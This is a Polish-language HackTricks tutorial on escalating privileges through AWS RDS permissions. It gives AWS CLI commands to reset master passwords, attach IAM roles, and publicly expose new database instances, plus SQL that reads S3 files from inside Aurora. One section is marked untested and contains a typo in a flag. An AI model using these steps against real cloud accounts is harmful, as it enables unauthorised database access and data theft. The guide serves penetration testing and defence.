AWS - RDS Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

RDS - Usługa baz danych relacyjnych

Aby uzyskać więcej informacji na temat RDS, sprawdź:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Z tym uprawnieniem atakujący może zmienić hasło głównego użytkownika oraz logowanie do bazy danych:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Będziesz musiał móc skontaktować się z bazą danych (zazwyczaj są one dostępne tylko z wewnątrz sieci).

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazach danych.

rds-db:connect

Zgodnie z dokumentacją użytkownik z tym uprawnieniem mógłby połączyć się z instancją bazy danych.

Nadużycie uprawnień roli IAM RDS

Postgresql (Aurora)

Jeśli wykonasz SELECT datname FROM pg_database; i znajdziesz bazę danych o nazwie rdsadmin, to oznacza, że jesteś w bazie danych AWS postgresql.

Najpierw możesz sprawdzić, czy ta baza danych została użyta do uzyskania dostępu do innej usługi AWS. Możesz to sprawdzić, analizując zainstalowane rozszerzenia:

SELECT * FROM pg_extension;

Jeśli znajdziesz coś takiego jak aws_s3, możesz założyć, że ta baza danych ma pewien rodzaj dostępu do S3 (istnieją inne rozszerzenia, takie jak aws_ml i aws_lambda).

Ponadto, jeśli masz uprawnienia do uruchomienia polecenia aws rds describe-db-clusters, możesz zobaczyć, czy klaster ma przypisaną jakąś rolę IAM w polu AssociatedRoles. Jeśli tak, możesz założyć, że baza danych została przygotowana do dostępu do innych usług AWS. Na podstawie nazwy roli (lub jeśli możesz uzyskać uprawnienia roli) możesz zgadnąć, jakie dodatkowe uprawnienia ma baza danych.

Teraz, aby odczytać plik wewnątrz kubełka, musisz znać pełną ścieżkę. Możesz to zrobić za pomocą:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Jeśli masz surowe dane uwierzytelniające AWS, możesz ich również użyć do uzyskania dostępu do danych w S3 za pomocą:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql nie musi zmieniać żadnej zmiennej grupy parametrów, aby móc uzyskać dostęp do S3.

Mysql (Aurora)

Wewnątrz mysql, jeśli wykonasz zapytanie SELECT User, Host FROM mysql.user; i istnieje użytkownik o nazwie rdsadmin, możesz założyć, że znajdujesz się w bazie danych AWS RDS mysql.

Wewnątrz mysql wykonaj show variables; i jeśli zmienne takie jak aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role mają wartości, możesz założyć, że baza danych jest przygotowana do dostępu do danych z S3.

Dodatkowo, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters możesz sprawdzić, czy klaster ma jakąkolwiek powiązaną rolę, co zazwyczaj oznacza dostęp do usług AWS).

Teraz, aby odczytać plik wewnątrz kubełka, musisz znać pełną ścieżkę. Możesz to odczytać za pomocą:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Atakujący posiadający uprawnienia rds:AddRoleToDBCluster i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to umożliwić atakującemu dostęp do poufnych danych lub modyfikację danych w instancji.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potencjalny wpływ: Dostęp do danych poufnych lub nieautoryzowane modyfikacje danych w instancji RDS. Należy zauważyć, że niektóre bazy danych wymagają dodatkowych konfiguracji, takich jak Mysql, który musi określić ARN roli w grupach parametrów również.

rds:CreateDBInstance

Tylko z tym uprawnieniem atakujący mógłby utworzyć nową instancję wewnątrz istniejącego klastra, który ma przypisaną rolę IAM. Nie będzie mógł zmienić hasła głównego użytkownika, ale może wystawić nową instancję bazy danych do internetu:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Test

Atakujący posiadający uprawnienia rds:CreateDBInstance i iam:PassRole może utworzyć nową instancję RDS z przypisaną określoną rolą. Następnie atakujący może potencjalnie uzyskać dostęp do danych poufnych lub modyfikować dane wewnątrz instancji.

Niektóre wymagania dotyczące roli/profilu instancji do przypisania (z tutaj):

  • Profil musi istnieć w twoim koncie.

  • Profil musi mieć rolę IAM, którą Amazon EC2 ma uprawnienia do przejęcia.

  • Nazwa profilu instancji i nazwa powiązanej roli IAM muszą zaczynać się od prefiksu AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potencjalne skutki: Dostęp do poufnych danych lub nieautoryzowane modyfikacje danych w instancji RDS.

rds:AddRoleToDBInstance, iam:PassRole

Atakujący posiadający uprawnienia rds:AddRoleToDBInstance i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to umożliwić atakującemu dostęp do poufnych danych lub modyfikację danych w instancji.

Instancja bazy danych musi znajdować się poza klastrem, aby to zadziałało.

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potencjalne skutki: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated